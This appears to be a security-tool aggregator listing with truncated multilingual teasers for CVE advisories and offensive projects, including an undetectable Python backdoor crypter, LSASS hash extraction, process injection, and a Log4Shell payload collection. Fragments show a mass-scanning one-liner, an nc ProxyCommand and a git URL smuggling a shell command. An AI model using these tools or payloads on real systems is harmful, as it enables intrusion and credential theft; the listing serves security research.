EUVD-2026-68197

A security flaw has been discovered in itsourcecode Sales and Inventory System 1.0. Affected by this vulnerability is an unknown functionality of the file /pages/supedit.php. The manipulation of the argument ID results in sql injection. The attack can be executed remotely. The exploit has been...

CVE-2026-82541

A SQL injection vulnerability was identified in itsourcecode Sales and Inventory System 1.0 , specifically in the file /pages/sup_edit.php through manipulation of the ID argument. The flaw allows a remote attacker with low privileges to inject SQL commands, potentially leading to partial compromi...

DragonCastle

DragonCastle Un PoC qui combine la technique de mouvement latéral AutodialDLL et SSP pour extraire les hachages NTLM du processus LSASS. Description Télécharge une DLL sur la machine cible. Ensuite, elle active le registre distant pour modifier l'entrée AutodialDLL et démarrer/redémarrer le servi...

NXcrypt

NXcrypt NXcrypt is a polymorphic 'python backdoors' crypter written in python by Hadi Mene h4d3s . The output is fully undetectable . NXcrypt can inject malicious python file into a normal file with multi-threading system . Run it with superuser's permissions . NXcrypt output is Fully undetectabl...

CVE-2026-78691

ash_sql (an Elixir query library from the Ash ecosystem) is vulnerable to LIKE wildcard injection in its contains/2, string_starts_with/2, and string_ends_with/2 filters. The escape helpers prefix % and _ with a backslash but fail to escape a pre-existing backslash in user input, so \% becomes a ...

CVE-2026-78038

ash_oban (an Elixir library bridging Ash and Oban) contains an improperly controlled modification of dynamically-determined object attributes flaw in AshOban.build_trigger/3. The function builds trusted job arguments with atom keys and merges caller-supplied :args underneath, intending trusted va...

CVE-2018-12533

Générateur de payload RF-14310 / CVE-2018-12533 Basé sur les recherches de Lucifaer Tout le crédit revient à https://github.com/Lucifaer Références https://access.redhat.com/security/cve/cve-2018-12533 richfaces-jboss-poc Preuve de concept facile à déployer pour pratiquer l'exploitation de la...

Log4Shell-Payloads

🚨 Collection de payloads Log4Shell Une liste organisée de payloads d'exploitation Log4Shell / Log4J ciblant : CVE-2021-45046 CVE-2022-42889 🔗 Par @nav1n0x 🔥 Payloads en une ligne ✅ Oneliner 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo...

CVE-2022-36804-PoC-Exploit

CVE-2022-36804-PoC-Exploit Довольно надёжный PoC-эксплойт для CVE-2022-36804 критическая инъекция команд в BitBucket. Эта атака обычно требует, чтобы были включены публичные репозитории, однако сеансовые cookie также совместимы с этим эксплойтом. Примечание: этот эксплойт включает автоматическое...

cve-2026-82222-poc

CVE-2026-82222 Неаутентифицированная PHP-инъекция объектов до RCE в GiveWP = 4.16.7.1. Исправлено в 4.16.7.2...

janus-toolkit

Janus Toolkit Это набор инструментов для эксплойта Janus CVE-2017-13156, затрагивающего версии AOSP 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, как описано здесь. Подробнее можно прочитать в статье от Guardsquare. Инструменты Janus Извлечение AndroidManifest Использование 1. Извлеките...

CVE-2023-51385_test

Проверка CVE-2023-51385 Сначала нужно добавить следующее в /.ssh/config root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p В операторе файла .gitmodules есть инъекция команд root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar После...

CVE-2019-11043

Ladon POC Moudle CVE-2019-11043 PHP-FPM + Ngnix Résumé de la vulnérabilité PHP-FPM Vulnérabilité d'exécution de code à distance CVE-2019-11043 Lors du Real World CTF organisé par Chaitin Tech, le chercheur en sécurité Andrew Danau a découvert, en résolvant un défi CTF, qu'en envoyant le symbole %...

Blackbone

Blackbone Bibliothèque de hacking mémoire Windows Fonctionnalités Prise en charge x86 et x64 Interaction avec les processus Gérer PEB32/PEB64 Gérer les processus à travers la barrière WOW64 Mémoire des processus Allouer et libérer de la mémoire virtuelle Modifier la protection mémoire Lire/Écrire...

patchkit

patchkit Patche un binaire ELF en utilisant un ou plusieurs scripts Python simples. Utilisation : root@kitploit: patch répertoirepatch|fichier... répertoirepatch Contient un ou plusieurs fichiers de patch Python, qui seront exécutés par ordre alphabétique sur un binaire. Exemples de patchs Noper...

PoolParty

PoolParty Une collection de techniques d'injection de processus totalement indétectables exploitant les pools de threads Windows. Présenté lors des briefings Black Hat EU 2023 sous le titre - The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools Variant...

CVE-2023-46818

CVE-2023-46818 Python 익스플로잇 🔥 설명 이 Python 익스플로잇 스크립트는 ISPConfig의 /admin/languageedit.php에 대한 records POST 파라미터에서 적절히 검증되지 않는 보안 취약점을 대상으로 합니다. 이를 통해 인증된 관리자가 임의의 PHP 코드를 주입하고 실행할 수 있습니다. ⚠️ 영향을 받는 버전 버전 3.2.11 및 이전 버전. ⚙️ 사용법 root@kitploit: python3 CVE-2023-46818.py 💻 샘플 실행 root@kitploit:...

PDFkit-CMD-Injection

PDFkit-Внедрение-команд CVE-2022-25765 pdfkit 0.8.6 внедрение команд. Пакет pdfkit уязвим для внедрения команд, поскольку URL-адрес не подвергается должной санитизации. Примечание: Эта проблема была исправлена в версии 0.8.7.2, но исправление оказалось неэффективным. Обновлённая версия исправлени...

CVE-2023-22884-Airflow-SQLi

Apache Airflow SQL 인젝션 PoC CVE-2023-22884 CVE-2023-22884에 대한 PoC는 Apache Airflow 2.4.0 이전 버전에 영향을 미치는 RCE 취약점입니다. 공식 보고서 설명은 다음과 같습니다: Improper Neutralization of Special Elements used in a Command 'Command Injection' vulnerability in Apache Software Foundation Apache Airflow, Apache Software...

CVE-2023-46818

CVE-2023-46818 Обнаружена проблема в ISPConfig до версии 3.2.11p1. Администратор может осуществить внедрение PHP-кода в редакторе языковых файлов, если включена опция adminallowlangedit. Использование root@kitploit: ❯ python3 CVE-2023-46818.py Usage: python3 CVE-2023-46818.py Poc of CVE-2023-4681...